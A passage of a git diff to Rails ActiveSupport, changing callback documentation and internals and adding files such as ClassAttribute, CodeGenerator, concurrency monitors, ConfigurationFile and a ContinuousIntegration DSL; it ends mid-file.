@@ -637,7 +706,7 @@ def __update_callbacks(name) #:nodoc:
         #
         # The callback can be specified as a symbol naming an instance method; as a
         # proc, lambda, or block; or as an object that responds to a certain method
-        # determined by the <tt>:scope</tt> argument to +define_callbacks+.
+        # determined by the <tt>:scope</tt> argument to #define_callbacks.
         #
         # If a proc, lambda, or block is given, its body is evaluated in the context
         # of the current object. It can also optionally accept the current object as
@@ -651,24 +720,25 @@ def __update_callbacks(name) #:nodoc:
         #
         # ===== Options
         #
-        # * <tt>:if</tt> - A symbol, a string (deprecated) or an array of symbols,
-        #   each naming an instance method or a proc; the callback will be called
-        #   only when they all return a true value.
-        # * <tt>:unless</tt> - A symbol, a string (deprecated) or an array of symbols,
-        #   each naming an instance method or a proc; the callback will be called
-        #   only when they all return a false value.
+        # * <tt>:if</tt> - A symbol or an array of symbols, each naming an instance
+        #   method or a proc; the callback will be called only when they all return
+        #   a true value.
+        #
+        #   If a proc is given, its body is evaluated in the context of the
+        #   current object. It can also optionally accept the current object as
+        #   an argument.
+        # * <tt>:unless</tt> - A symbol or an array of symbols, each naming an
+        #   instance method or a proc; the callback will be called only when they
+        #   all return a false value.
+        #
+        #   If a proc is given, its body is evaluated in the context of the
+        #   current object. It can also optionally accept the current object as
+        #   an argument.
         # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
         #   existing chain rather than appended.
         def set_callback(name, *filter_list, &block)
           type, filters, options = normalize_callback_params(filter_list, block)
 
-          if options[:if].is_a?(String) || options[:unless].is_a?(String)
-            ActiveSupport::Deprecation.warn(<<-MSG.squish)
-              Passing string to :if and :unless conditional options is deprecated
-              and will be removed in Rails 5.2 without replacement.
-            MSG
-          end
-
           self_chain = get_callbacks name
           mapped = filters.map do |filter|
             Callback.build(self_chain, filter, type, options)
@@ -680,26 +750,44 @@ def set_callback(name, *filter_list, &block)
           end
         end
 
-        # Skip a previously set callback. Like +set_callback+, <tt>:if</tt> or
+        # Skip a previously set callback. Like #set_callback, <tt>:if</tt> or
         # <tt>:unless</tt> options may be passed in order to control when the
         # callback is skipped.
         #
-        #   class Writer < Person
-        #      skip_callback :validate, :before, :check_membership, if: -> { age > 18 }
+        # Note: this example uses +PersonRecord+ and +#saving_message+, which you
+        # can see defined here[rdoc-ref:ActiveSupport::Callbacks]
+        #
+        #   class Writer < PersonRecord
+        #     attr_accessor :age
+        #     skip_callback :save, :before, :saving_message, if: -> { age > 18 }
         #   end
         #
+        # When if option returns true, callback is skipped.
+        #
+        #   writer = Writer.new
+        #   writer.age = 20
+        #   writer.save
+        #
+        # Output:
+        #   - save
+        #   saved
+        #
+        # When if option returns false, callback is NOT skipped.
+        #
+        #   young_writer = Writer.new
+        #   young_writer.age = 17
+        #   young_writer.save
+        #
+        # Output:
+        #   saving...
+        #   - save
+        #   saved
+        #
         # An <tt>ArgumentError</tt> will be raised if the callback has not
         # already been set (unless the <tt>:raise</tt> option is set to <tt>false</tt>).
         def skip_callback(name, *filter_list, &block)
           type, filters, options = normalize_callback_params(filter_list, block)
 
-          if options[:if].is_a?(String) || options[:unless].is_a?(String)
-            ActiveSupport::Deprecation.warn(<<-MSG.squish)
-              Passing string to :if and :unless conditional options is deprecated
-              and will be removed in Rails 5.2 without replacement.
-            MSG
-          end
-
           options[:raise] = true unless options.key?(:raise)
 
           __update_callbacks(name) do |target, chain|
@@ -725,7 +813,7 @@ def skip_callback(name, *filter_list, &block)
         def reset_callbacks(name)
           callbacks = get_callbacks name
 
-          ActiveSupport::DescendantsTracker.descendants(self).each do |target|
+          self.descendants.each do |target|
             chain = target.get_callbacks(name).dup
             callbacks.each { |c| chain.delete(c) }
             target.set_callbacks name, chain
@@ -758,8 +846,8 @@ def reset_callbacks(name)
         # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after
         #   callbacks should be terminated by the <tt>:terminator</tt> option. By
         #   default after callbacks are executed no matter if callback chain was
-        #   terminated or not. This option makes sense only when <tt>:terminator</tt>
-        #   option is specified.
+        #   terminated or not. This option has no effect if <tt>:terminator</tt>
+        #   option is set to +nil+.
         #
         # * <tt>:scope</tt> - Indicates which methods should be executed when an
         #   object is used as a callback.
@@ -811,17 +899,20 @@ def reset_callbacks(name)
         # <tt>!</tt>, <tt>?</tt> or <tt>=</tt>.
         #
         # Calling +define_callbacks+ multiple times with the same +names+ will
-        # overwrite previous callbacks registered with +set_callback+.
+        # overwrite previous callbacks registered with #set_callback.
         def define_callbacks(*names)
           options = names.extract_options!
 
           names.each do |name|
             name = name.to_sym
 
-            set_callbacks name, CallbackChain.new(name, options)
+            module_eval <<~RUBY, __FILE__, __LINE__ + 1
+              def _run_#{name}_callbacks
+                yield if block_given?
+              end
+              silence_redefinition_of_method(:_run_#{name}_callbacks)
 
-            module_eval <<-RUBY, __FILE__, __LINE__ + 1
-              def _run_#{name}_callbacks(&block)
+              def _run_#{name}_callbacks!(&block)
                 run_callbacks #{name.inspect}, &block
               end
 
@@ -837,17 +928,32 @@ def _#{name}_callbacks
                 __callbacks[#{name.inspect}]
               end
             RUBY
+
+            ([self] + self.descendants).each do |target|
+              target.set_callbacks name, CallbackChain.new(name, options)
+            end
           end
         end
 
         protected
-
           def get_callbacks(name) # :nodoc:
             __callbacks[name.to_sym]
           end
 
           def set_callbacks(name, callbacks) # :nodoc:
-            self.__callbacks = __callbacks.merge(name.to_sym => callbacks)
+            # HACK: We're making assumption on how `class_attribute` is implemented
+            # to save constantly duping the callback hash. If this desync with class_attribute
+            # we'll lose the optimization, but won't cause an actual behavior bug.
+            unless singleton_class.private_method_defined?(:__class_attr__callbacks, false)
+              self.__callbacks = __callbacks.dup
+            end
+            name = name.to_sym
+            callbacks_was = self.__callbacks[name.to_sym]
+            if (callbacks_was.nil? || callbacks_was.empty?) && !callbacks.empty?
+              alias_method("_run_#{name}_callbacks", "_run_#{name}_callbacks!")
+            end
+            self.__callbacks[name.to_sym] = callbacks
+            self.__callbacks
           end
       end
   end
diff --git a/activesupport/lib/active_support/class_attribute.rb b/activesupport/lib/active_support/class_attribute.rb
new file mode 100644
index 0000000000000..8aac26e338ded
--- /dev/null
+++ b/activesupport/lib/active_support/class_attribute.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module ClassAttribute # :nodoc:
+    class << self
+      def redefine(owner, name, namespaced_name, value)
+        if owner.singleton_class?
+          if owner.attached_object.is_a?(Module)
+            redefine_method(owner, namespaced_name, private: true) { value }
+          else
+            redefine_method(owner, name) { value }
+          end
+        end
+
+        redefine_method(owner.singleton_class, namespaced_name, private: true) { value }
+
+        redefine_method(owner.singleton_class, "#{namespaced_name}=", private: true) do |new_value|
+          if owner.equal?(self)
+            value = new_value
+          else
+            ::ActiveSupport::ClassAttribute.redefine(self, name, namespaced_name, new_value)
+          end
+        end
+      end
+
+      def redefine_method(owner, name, private: false, &block)
+        owner.silence_redefinition_of_method(name)
+        owner.define_method(name, &block)
+        owner.send(:private, name) if private
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/code_generator.rb b/activesupport/lib/active_support/code_generator.rb
new file mode 100644
index 0000000000000..26eabb1b1edbb
--- /dev/null
+++ b/activesupport/lib/active_support/code_generator.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  class CodeGenerator # :nodoc:
+    class MethodSet
+      METHOD_CACHES = Hash.new { |h, k| h[k] = Module.new }
+
+      def initialize(namespace)
+        @cache = METHOD_CACHES[namespace]
+        @sources = []
+        @methods = {}
+        @canonical_methods = {}
+      end
+
+      def define_cached_method(canonical_name, as: nil)
+        canonical_name = canonical_name.to_sym
+        as = (as || canonical_name).to_sym
+
+        @methods.fetch(as) do
+          unless @cache.method_defined?(canonical_name) || @canonical_methods[canonical_name]
+            yield @sources
+          end
+          @canonical_methods[canonical_name] = true
+          @methods[as] = canonical_name
+        end
+      end
+
+      def apply(owner, path, line)
+        unless @sources.empty?
+          @cache.module_eval("# frozen_string_literal: true\n" + @sources.join(";"), path, line)
+        end
+        @canonical_methods.clear
+
+        @methods.each do |as, canonical_name|
+          owner.define_method(as, @cache.instance_method(canonical_name))
+        end
+      end
+    end
+
+    class << self
+      def batch(owner, path, line)
+        if owner.is_a?(CodeGenerator)
+          yield owner
+        else
+          instance = new(owner, path, line)
+          result = yield instance
+          instance.execute
+          result
+        end
+      end
+    end
+
+    def initialize(owner, path, line)
+      @owner = owner
+      @path = path
+      @line = line
+      @namespaces = Hash.new { |h, k| h[k] = MethodSet.new(k) }
+      @sources = []
+    end
+
+    def class_eval
+      yield @sources
+    end
+
+    def define_cached_method(canonical_name, namespace:, as: nil, &block)
+      @namespaces[namespace].define_cached_method(canonical_name, as: as, &block)
+    end
+
+    def execute
+      @namespaces.each_value do |method_set|
+        method_set.apply(@owner, @path, @line - 1)
+      end
+
+      unless @sources.empty?
+        @owner.class_eval("# frozen_string_literal: true\n" + @sources.join(";"), @path, @line - 1)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/colorize_logging.rb b/activesupport/lib/active_support/colorize_logging.rb
new file mode 100644
index 0000000000000..8f0d727c8ebcd
--- /dev/null
+++ b/activesupport/lib/active_support/colorize_logging.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module ColorizeLogging # :nodoc:
+    extend ActiveSupport::Concern
+
+    # ANSI sequence modes
+    MODES = {
+      clear:     0,
+      bold:      1,
+      italic:    3,
+      underline: 4,
+    }
+
+    # ANSI sequence colors
+    BLACK   = "\e[30m"
+    RED     = "\e[31m"
+    GREEN   = "\e[32m"
+    YELLOW  = "\e[33m"
+    BLUE    = "\e[34m"
+    MAGENTA = "\e[35m"
+    CYAN    = "\e[36m"
+    WHITE   = "\e[37m"
+
+    def info(progname = nil, &block)
+      logger.info(progname, &block) if logger
+    end
+
+    def debug(progname = nil, &block)
+      logger.debug(progname, &block) if logger
+    end
+
+    def warn(progname = nil, &block)
+      logger.warn(progname, &block) if logger
+    end
+
+    def error(progname = nil, &block)
+      logger.error(progname, &block) if logger
+    end
+
+    def fatal(progname = nil, &block)
+      logger.fatal(progname, &block) if logger
+    end
+
+    def unknown(progname = nil, &block)
+      logger.unknown(progname, &block) if logger
+    end
+
+    # Set color by using a symbol or one of the defined constants. Set modes
+    # by specifying bold, italic, or underline options. Inspired by Highline,
+    # this method will automatically clear formatting at the end of the returned String.
+    def color(text, color, mode_options = {}) # :doc:
+      return text unless colorize_logging
+      color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
+      mode = mode_from(mode_options)
+      clear = "\e[#{MODES[:clear]}m"
+      "#{mode}#{color}#{text}#{clear}"
+    end
+
+    def mode_from(options)
+      modes = MODES.values_at(*options.compact_blank.keys)
+
+      "\e[#{modes.join(";")}m" if modes.any?
+    end
+
+    def colorize_logging
+      ActiveSupport.colorize_logging
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index 0403eb70cab0d..7af9c75cdd499 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
 module ActiveSupport
+  # = Active Support \Concern
+  #
   # A typical module looks like this:
   #
   #   module M
@@ -14,10 +18,10 @@ module ActiveSupport
   #     end
   #   end
   #
-  # By using <tt>ActiveSupport::Concern</tt> the above module could instead be
+  # By using +ActiveSupport::Concern+ the above module could instead be
   # written as:
   #
-  #   require 'active_support/concern'
+  #   require "active_support/concern"
   #
   #   module M
   #     extend ActiveSupport::Concern
@@ -71,10 +75,10 @@ module ActiveSupport
   #   end
   #
   # Unfortunately this won't work, since when +Foo+ is included, its <tt>base</tt>
-  # is the +Bar+ module, not the +Host+ class. With <tt>ActiveSupport::Concern</tt>,
+  # is the +Bar+ module, not the +Host+ class. With +ActiveSupport::Concern+,
   # module dependencies are properly resolved:
   #
-  #   require 'active_support/concern'
+  #   require "active_support/concern"
   #
   #   module Foo
   #     extend ActiveSupport::Concern
@@ -97,21 +101,35 @@ module ActiveSupport
   #   class Host
   #     include Bar # It works, now Bar takes care of its dependencies
   #   end
+  #
+  # === Prepending concerns
+  #
+  # Just like <tt>include</tt>, concerns also support <tt>prepend</tt> with a corresponding
+  # <tt>prepended do</tt> callback. <tt>module ClassMethods</tt> or <tt>class_methods do</tt> are
+  # prepended as well.
+  #
+  # <tt>prepend</tt> is also used for any dependencies.
   module Concern
-    class MultipleIncludedBlocks < StandardError #:nodoc:
+    class MultipleIncludedBlocks < StandardError # :nodoc:
       def initialize
         super "Cannot define multiple 'included' blocks for a Concern"
       end
     end
 
-    def self.extended(base) #:nodoc:
+    class MultiplePrependBlocks < StandardError # :nodoc:
+      def initialize
+        super "Cannot define multiple 'prepended' blocks for a Concern"
+      end
+    end
+
+    def self.extended(base) # :nodoc:
       base.instance_variable_set(:@_dependencies, [])
     end
 
-    def append_features(base)
+    def append_features(base) # :nodoc:
       if base.instance_variable_defined?(:@_dependencies)
         base.instance_variable_get(:@_dependencies) << self
-        return false
+        false
       else
         return false if base < self
         @_dependencies.each { |dep| base.include(dep) }
@@ -121,16 +139,73 @@ def append_features(base)
       end
     end
 
+    def prepend_features(base) # :nodoc:
+      if base.instance_variable_defined?(:@_dependencies)
+        base.instance_variable_get(:@_dependencies).unshift self
+        false
+      else
+        return false if base < self
+        @_dependencies.each { |dep| base.prepend(dep) }
+        super
+        base.singleton_class.prepend const_get(:ClassMethods) if const_defined?(:ClassMethods)
+        base.class_eval(&@_prepended_block) if instance_variable_defined?(:@_prepended_block)
+      end
+    end
+
+    # Evaluate given block in context of base class,
+    # so that you can write class macros here.
+    # When you define more than one +included+ block, it raises an exception.
     def included(base = nil, &block)
       if base.nil?
-        raise MultipleIncludedBlocks if instance_variable_defined?(:@_included_block)
+        if instance_variable_defined?(:@_included_block)
+          if @_included_block.source_location != block.source_location
+            raise MultipleIncludedBlocks
+          end
+        else
+          @_included_block = block
+        end
+      else
+        super
+      end
+    end
 
-        @_included_block = block
+    # Evaluate given block in context of base class,
+    # so that you can write class macros here.
+    # When you define more than one +prepended+ block, it raises an exception.
+    def prepended(base = nil, &block)
+      if base.nil?
+        if instance_variable_defined?(:@_prepended_block)
+          if @_prepended_block.source_location != block.source_location
+            raise MultiplePrependBlocks
+          end
+        else
+          @_prepended_block = block
+        end
       else
         super
       end
     end
 
+    # Define class methods from given block.
+    # You can define private class methods as well.
+    #
+    #   module Example
+    #     extend ActiveSupport::Concern
+    #
+    #     class_methods do
+    #       def foo; puts 'foo'; end
+    #
+    #       private
+    #         def bar; puts 'bar'; end
+    #     end
+    #   end
+    #
+    #   class Buzz
+    #     include Example
+    #   end
+    #
+    #   Buzz.foo # => "foo"
+    #   Buzz.bar # => private method 'bar' called for Buzz:Class(NoMethodError)
     def class_methods(&class_methods_module_definition)
       mod = const_defined?(:ClassMethods, false) ?
         const_get(:ClassMethods) :
diff --git a/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor.rb b/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor.rb
new file mode 100644
index 0000000000000..92b31323b7cd5
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/load_interlock_aware_monitor.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "monitor"
+
+module ActiveSupport
+  module Concurrency
+    # A monitor that will permit dependency loading while blocked waiting for
+    # the lock.
+    LoadInterlockAwareMonitor = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(
+      "ActiveSupport::Concurrency::LoadInterlockAwareMonitor",
+      "::Monitor",
+      ActiveSupport.deprecator,
+      message: "ActiveSupport::Concurrency::LoadInterlockAwareMonitor is deprecated and will be " \
+               "removed in Rails 9.0. Use Monitor directly instead, as the loading interlock is " \
+               "no longer used."
+    )
+  end
+end
diff --git a/activesupport/lib/active_support/concurrency/null_lock.rb b/activesupport/lib/active_support/concurrency/null_lock.rb
new file mode 100644
index 0000000000000..3810158fcedf4
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/null_lock.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Concurrency
+    module NullLock # :nodoc:
+      extend self
+
+      def synchronize
+        yield
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/concurrency/share_lock.rb b/activesupport/lib/active_support/concurrency/share_lock.rb
index 4318523b07f13..3bfb1aee9f702 100644
--- a/activesupport/lib/active_support/concurrency/share_lock.rb
+++ b/activesupport/lib/active_support/concurrency/share_lock.rb
@@ -1,4 +1,5 @@
-require "thread"
+# frozen_string_literal: true
+
 require "monitor"
 
 module ActiveSupport
@@ -198,7 +199,6 @@ def yield_shares(purpose: nil, compatible: [], block_share: false)
       end
 
       private
-
         # Must be called within synchronize
         def busy_for_exclusive?(purpose)
           busy_for_sharing?(purpose) ||
@@ -214,9 +214,9 @@ def eligible_waiters?(compatible)
           @waiting.any? { |t, (p, _)| compatible.include?(p) && @waiting.all? { |t2, (_, c2)| t == t2 || c2.include?(p) } }
         end
 
-        def wait_for(method)
+        def wait_for(method, &block)
           @sleeping[Thread.current] = method
-          @cv.wait_while { yield }
+          @cv.wait_while(&block)
         ensure
           @sleeping.delete Thread.current
         end
diff --git a/activesupport/lib/active_support/concurrency/thread_monitor.rb b/activesupport/lib/active_support/concurrency/thread_monitor.rb
new file mode 100644
index 0000000000000..d28c8893c75a1
--- /dev/null
+++ b/activesupport/lib/active_support/concurrency/thread_monitor.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module Concurrency
+    class ThreadMonitor # :nodoc:
+      EXCEPTION_NEVER = { Exception => :never }.freeze
+      EXCEPTION_IMMEDIATE = { Exception => :immediate }.freeze
+      private_constant :EXCEPTION_NEVER, :EXCEPTION_IMMEDIATE
+
+      def initialize
+        @owner = nil
+        @count = 0
+        @mutex = Mutex.new
+      end
+
+      def synchronize(&block)
+        Thread.handle_interrupt(EXCEPTION_NEVER) do
+          mon_enter
+
+          begin
+            Thread.handle_interrupt(EXCEPTION_IMMEDIATE, &block)
+          ensure
+            mon_exit
+          end
+        end
+      end
+
+      private
+        def mon_try_enter
+          if @owner != Thread.current
+            return false unless @mutex.try_lock
+            @owner = Thread.current
+          end
+          @count += 1
+        end
+
+        def mon_enter
+          @mutex.lock if @owner != Thread.current
+          @owner = Thread.current
+          @count += 1
+        end
+
+        def mon_exit
+          unless @owner == Thread.current
+            raise ThreadError, "current thread not owner"
+          end
+
+          @count -= 1
+          return unless @count == 0
+          @owner = nil
+          @mutex.unlock
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index f72a893bccb33..4ee776bd39c1e 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -1,11 +1,19 @@
+# frozen_string_literal: true
+
+ActiveSupport.deprecator.warn <<~MSG
+  ActiveSupport::Configurable is deprecated without replacement, and will be removed in Rails 8.2.
+
+  You can emulate the previous behavior with `class_attribute`.
+MSG
+
 require "active_support/concern"
 require "active_support/ordered_options"
-require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/regexp"
 
 module ActiveSupport
+  # = Active Support \Configurable
+  #
   # Configurable provides a <tt>config</tt> method to store and retrieve
-  # configuration options as an <tt>OrderedHash</tt>.
+  # configuration options as an OrderedOptions.
   module Configurable
     extend ActiveSupport::Concern
 
@@ -17,7 +25,7 @@ def compile_methods!
       # Compiles reader methods so we don't have to go through method_missing.
       def self.compile_methods!(keys)
         keys.reject { |m| method_defined?(m) }.each do |key|
-          class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          class_eval <<~RUBY, __FILE__, __LINE__ + 1
             def #{key}; _get(#{key.inspect}); end
           RUBY
         end
@@ -25,6 +33,19 @@ def #{key}; _get(#{key.inspect}); end
     end
 
     module ClassMethods
+      # Reads and writes attributes from a configuration OrderedOptions.
+      #
+      #   require "active_support/configurable"
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #   end
+      #
+      #   User.config.allowed_access = true
+      #   User.config.level = 1
+      #
+      #   User.config.allowed_access # => true
+      #   User.config.level          # => 1
       def config
         @_config ||= if respond_to?(:superclass) && superclass.respond_to?(:config)
           superclass.config.inheritable_copy
@@ -34,6 +55,21 @@ def config
         end
       end
 
+      # Configure values from within the passed block.
+      #
+      #   require "active_support/configurable"
+      #
+      #   class User
+      #     include ActiveSupport::Configurable
+      #   end
+      #
+      #   User.allowed_access # => nil
+      #
+      #   User.configure do |config|
+      #     config.allowed_access = true
+      #   end
+      #
+      #   User.allowed_access # => true
       def configure
         yield config
       end
@@ -67,8 +103,8 @@ def configure
       #   end
       #   # => NameError: invalid config attribute name
       #
-      # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
-      # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
+      # To omit the instance writer method, pass <tt>instance_writer: false</tt>.
+      # To omit the instance reader method, pass <tt>instance_reader: false</tt>.
       #
       #   class User
       #     include ActiveSupport::Configurable
@@ -81,7 +117,7 @@ def configure
       #   User.new.allowed_access = true # => NoMethodError
       #   User.new.allowed_access        # => NoMethodError
       #
-      # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+      # Or pass <tt>instance_accessor: false</tt>, to omit both instance methods.
       #
       #   class User
       #     include ActiveSupport::Configurable
@@ -94,19 +130,19 @@ def configure
       #   User.new.allowed_access = true # => NoMethodError
       #   User.new.allowed_access        # => NoMethodError
       #
-      # Also you can pass a block to set up the attribute with a default value.
+      # Also you can pass <tt>default</tt> or a block to set up the attribute with a default value.
       #
       #   class User
       #     include ActiveSupport::Configurable
+      #     config_accessor :allowed_access, default: false
       #     config_accessor :hair_colors do
       #       [:brown, :black, :blonde, :red]
       #     end
       #   end
       #
+      #   User.allowed_access # => false
       #   User.hair_colors # => [:brown, :black, :blonde, :red]
-      def config_accessor(*names)
-        options = names.extract_options!
-
+      def config_accessor(*names, instance_reader: true, instance_writer: true, instance_accessor: true, default: nil) # :doc:
         names.each do |name|
           raise NameError.new("invalid config attribute name") unless /\A[_A-Za-z]\w*\z/.match?(name)
 
@@ -116,19 +152,28 @@ def config_accessor(*names)
           singleton_class.class_eval reader, __FILE__, reader_line
           singleton_class.class_eval writer, __FILE__, writer_line
 
-          unless options[:instance_accessor] == false
-            class_eval reader, __FILE__, reader_line unless options[:instance_reader] == false
-            class_eval writer, __FILE__, writer_line unless options[:instance_writer] == false
+          if instance_accessor
+            class_eval reader, __FILE__, reader_line if instance_reader
+            class_eval writer, __FILE__, writer_line if instance_writer
           end
-          send("#{name}=", yield) if block_given?
+
+          send("#{name}=", block_given? ? yield : default)
         end
       end
       private :config_accessor
+
+      private
+        def inherited(subclass)
+          super
+          subclass.class_eval do
+            @_config = nil
+          end
+        end
     end
 
-    # Reads and writes attributes from a configuration <tt>OrderedHash</tt>.
+    # Reads and writes attributes from a configuration OrderedOptions.
     #
-    #   require 'active_support/configurable'
+    #   require "active_support/configurable"
     #
     #   class User
     #     include ActiveSupport::Configurable
diff --git a/activesupport/lib/active_support/configuration_file.rb b/activesupport/lib/active_support/configuration_file.rb
new file mode 100644
index 0000000000000..78cb1c6dc3518
--- /dev/null
+++ b/activesupport/lib/active_support/configuration_file.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Reads a YAML configuration file, evaluating any ERB, then
+  # parsing the resulting YAML.
+  #
+  # Warns in case of YAML confusing characters, like invisible
+  # non-breaking spaces.
+  class ConfigurationFile # :nodoc:
+    class FormatError < StandardError; end
+
+    def initialize(content_path)
+      @content_path = content_path.to_s
+      @content = read content_path
+    end
+
+    def self.parse(content_path, **options)
+      new(content_path).parse(**options)
+    end
+
+    def parse(context: nil, **options)
+      source = @content.include?("<%") ? render(context) : @content
+
+      if source == @content
+        if YAML.respond_to?(:unsafe_load)
+          YAML.unsafe_load_file(@content_path, **options) || {}
+        else
+          YAML.load_file(@content_path, **options) || {}
+        end
+      else
+        if YAML.respond_to?(:unsafe_load)
+          YAML.unsafe_load(source, **options) || {}
+        else
+          YAML.load(source, **options) || {}
+        end
+      end
+    rescue Psych::SyntaxError => error
+      raise "YAML syntax error occurred while parsing #{@content_path}. " \
+            "Please note that YAML must be consistently indented using spaces. Tabs are not allowed. " \
+            "Error: #{error.message}"
+    end
+
+    private
+      def read(content_path)
+        require "yaml" unless defined?(YAML)
+
+        File.read(content_path).tap do |content|
+          if content.include?("\u00A0")
+            warn "#{content_path} contains invisible non-breaking spaces, you may want to remove those"
+          end
+        end
+      end
+
+      def render(context)
+        require "erb" unless defined?(ERB)
+        erb = ERB.new(@content).tap { |e| e.filename = @content_path }
+        context ? erb.result(context) : erb.result
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/continuous_integration.rb b/activesupport/lib/active_support/continuous_integration.rb
new file mode 100644
index 0000000000000..ac6d2567b65c5
--- /dev/null
+++ b/activesupport/lib/active_support/continuous_integration.rb
@@ -0,0 +1,172 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Provides a DSL for declaring a continuous integration workflow that can be run either locally or in the cloud.
+  # Each step is timed, reports success/error, and is aggregated into a collective report that reports total runtime,
+  # as well as whether the entire run was successful or not.
+  #
+  # Example:
+  #
+  #   ActiveSupport::ContinuousIntegration.run do
+  #     step "Setup", "bin/setup --skip-server"
+  #     step "Style: Ruby", "bin/rubocop"
+  #     step "Security: Gem audit", "bin/bundler-audit"
+  #     step "Tests: Rails", "bin/rails test test:system"
+  #
+  #     if success?
+  #       step "Signoff: Ready for merge and deploy", "gh signoff"
+  #     else
+  #       failure "Skipping signoff; CI failed.", "Fix the issues and try again."
+  #     end
+  #   end
+  #
+  # Starting with Rails 8.1, a default `bin/ci` and `config/ci.rb` file are created to provide out-of-the-box CI.
+  class ContinuousIntegration
+    COLORS = {
+      banner: "\033[1;32m",   # Green
+      title: "\033[1;35m",    # Purple
+      subtitle: "\033[1;90m", # Medium Gray
+      error: "\033[1;31m",    # Red
+      success: "\033[1;32m"   # Green
+    }
+
+    attr_reader :results
+
+    # Perform a CI run. Execute each step, show their results and runtime, and exit with a non-zero status if there are any failures.
+    #
+    # Pass an optional title, subtitle, and a block that declares the steps to be executed.
+    #
+    # Sets the CI environment variable to "true" to allow for conditional behavior in the app, like enabling eager loading and disabling logging.
+    #
+    # A 'fail fast' option can be passed as a CLI argument (-f or --fail-fast). This exits with a non-zero status directly after a step fails.
+    #
+    # Example:
+    #
+    #   ActiveSupport::ContinuousIntegration.run do
+    #     step "Setup", "bin/setup --skip-server"
+    #     step "Style: Ruby", "bin/rubocop"
+    #     step "Security: Gem audit", "bin/bundler-audit"
+    #     step "Tests: Rails", "bin/rails test test:system"
+    #
+    #     if success?
+    #       step "Signoff: Ready for merge and deploy", "gh signoff"
+    #     else
+    #       failure "Skipping signoff; CI failed.", "Fix the issues and try again."
+    #     end
+    #   end
+    def self.run(title = "Continuous Integration", subtitle = "Running tests, style checks, and security audits", &block)
+      new.tap do |ci|
+        ENV["CI"] = "true"
+        ci.heading title, subtitle, padding: false
+        ci.report(title, &block)
+        abort unless ci.success?
+      end
+    end
+
+    def initialize
+      @results = []
+    end
+
+    # Declare a step with a title and a command. The command can either be given as a single string or as multiple
+    # strings that will be passed to `system` as individual arguments (and therefore correctly escaped for paths etc).
+    #
+    # Examples:
+    #
+    #   step "Setup", "bin/setup"
+    #   step "Single test", "bin/rails", "test", "--name", "test_that_is_one"
+    def step(title, *command)
+      heading title, command.join(" "), type: :title
+      report(title) { results << [ system(*command), title ] }
+    end
+
+    # Returns true if all steps were successful.
+    def success?
+      results.map(&:first).all?
+    end
+
+    # Display an error heading with the title and optional subtitle to reflect that the run failed.
+    def failure(title, subtitle = nil)
+      heading title, subtitle, type: :error
+    end
+
+    # Display a colorized heading followed by an optional subtitle.
+    #
+    # Examples:
+    #
+    #   heading "Smoke Testing", "End-to-end tests verifying key functionality", padding: false
+    #   heading "Skipping video encoding tests", "Install FFmpeg to run these tests", type: :error
+    #
+    # See ActiveSupport::ContinuousIntegration::COLORS for a complete list of options.
+    def heading(heading, subtitle = nil, type: :banner, padding: true)
+      echo "#{padding ? "\n\n" : ""}#{heading}", type: type
+      echo "#{subtitle}#{padding ? "\n" : ""}", type: :subtitle if subtitle
+    end
+
+    # Echo text to the terminal in the color corresponding to the type of the text.
+    #
+    # Examples:
+    #
+    #   echo "This is going to be green!", type: :success
+    #   echo "This is going to be red!", type: :error
+    #
+    # See ActiveSupport::ContinuousIntegration::COLORS for a complete list of options.
+    def echo(text, type:)
+      puts colorize(text, type)
+    end
+
+    # :nodoc:
+    def report(title, &block)
+      Signal.trap("INT") { abort colorize("\n� #{title} interrupted", :error) }
+
+      ci = self.class.new
+      elapsed = timing { ci.instance_eval(&block) }
+
+      if ci.success?
+        echo "\n✅ #{title} passed in #{elapsed}", type: :success
+      else
+        echo "\n� #{title} failed in #{elapsed}", type: :error
+
+        abort if ci.fail_fast?
+
+        if ci.multiple_results?
+          ci.failures.each do |success, title|
+            unless success
+              echo "   ↳ #{title} failed", type: :error
+            end
+          end
+        end
+      end
+
+      results.concat ci.results
+    ensure
+      Signal.trap("INT", "-")
+    end
+
+    # :nodoc:
+    def failures
+      results.reject(&:first)
+    end
+
+    # :nodoc:
+    def multiple_results?
+      results.size > 1
+    end
+
+    # :nodoc:
+    def fail_fast?
+      ARGV.include?("-f") || ARGV.include?("--fail-fast")
+    end
+
+    private
+      def timing
+        started_at = Time.now.to_f
+        yield
+        min, sec = (Time.now.to_f - started_at).divmod(60)
+        "#{"#{min}m" if min > 0}%.2fs" % sec
+      end
+
+      def colorize(text, type)
+        "#{COLORS.fetch(type)}#{text}\033[0m"
